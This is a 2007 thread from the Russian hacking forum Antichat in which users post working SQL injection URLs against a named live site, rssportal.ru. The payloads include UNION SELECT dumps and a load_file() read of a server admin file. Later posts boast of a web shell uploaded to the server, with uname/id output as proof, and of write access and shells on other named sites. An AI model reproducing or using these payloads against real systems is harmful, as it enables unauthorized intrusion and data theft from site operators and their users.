Форум АНТИЧАТ
Страница 1 из 2 1 2 >
Показывать 40 сообщений этой темы на одной странице

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Injection на rssportal.ru (https://forum.antichat.xyz/showthread.php?t=41354)

Micr0b 01.06.2007 18:47
Injection на rssportal.ru
 
Injection на rssportal.ru

Хотелось бы отметить ету инж., так как там есть сами посмотрите что :)
Хотя ето не новость :)

Вот ищо несколько injection на етом же сайте:

Код:
http://rssportal.ru/catalog.php?rss_id=-54161+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
Код:
http://rssportal.ru/catalog.php?cat_id=-1+UNION+SELECT+1,name,3,4,5,6,7,8+FROM+category/*
Код:
http://rssportal.ru/registration.php?uid=1&confirm=blablabla'
Вот и видео: http://video.antichat.ru/download_228.html

.Slip 01.06.2007 18:55
Смотрел на ускоренном воспроизведении(: Видео не стоило снимать имхо. Инъекция стандартна. Могли простенькую шифровку пассов поставить..
PS Вот если бы ты шелл залил, был бы хоть какой то материал.

wix 02.06.2007 02:05
Код:
http://rssportal.ru/catalog.php?cat_id=-57+UNION+SELECT+1,load_file(%22/home/rss/rssagg.wrk.infostars.ru/htdocs/admin.php%22),3,4,5,6,7,8+FROM+user+WHERE+id=2/*
даж файлы читать мона)

Sn@k3 02.06.2007 09:24
молодец микроб

Spyder 02.06.2007 14:23
Цитата:
Вот если бы ты шелл залил, был бы хоть какой то материал
.

Linux frig 2.6.11-1.1369_FC4smp #1 SMP Thu Jun 2 23:08:39 EDT 2005 i686 i686 i386 GNU/Linux
uid=514(rss) gid=2(daemon) группы=2(daemon),99(nobody),107(rss)
;)

.Slip 02.06.2007 14:35
Цитата:
Сообщение от Spyder
.

Linux frig 2.6.11-1.1369_FC4smp #1 SMP Thu Jun 2 23:08:39 EDT 2005 i686 i686 i386 GNU/Linux
uid=514(rss) gid=2(daemon) группы=2(daemon),99(nobody),107(rss)
;)
Вот если бы кто нибудь рут взял;)

Spyder 02.06.2007 14:41
на серваке кстати хостится press.webfile.ru с записью в корень сайта =)

Isis 25.06.2007 02:13
Цитата:
Сообщение от Spyder
на серваке кстати хостится press.webfile.ru с записью в корень сайта =)
На webfile.ru запись в корень сайта есть и скуль...шелл тоже там есть :)

Zitt 25.06.2007 09:48
Да и админка там есть )))

kot777 25.06.2007 09:54
Да и приват на ачате никогда не палиться половиной ачата


Время: 03:52
Страница 1 из 2 1 2 >
Показывать 40 сообщений этой темы на одной странице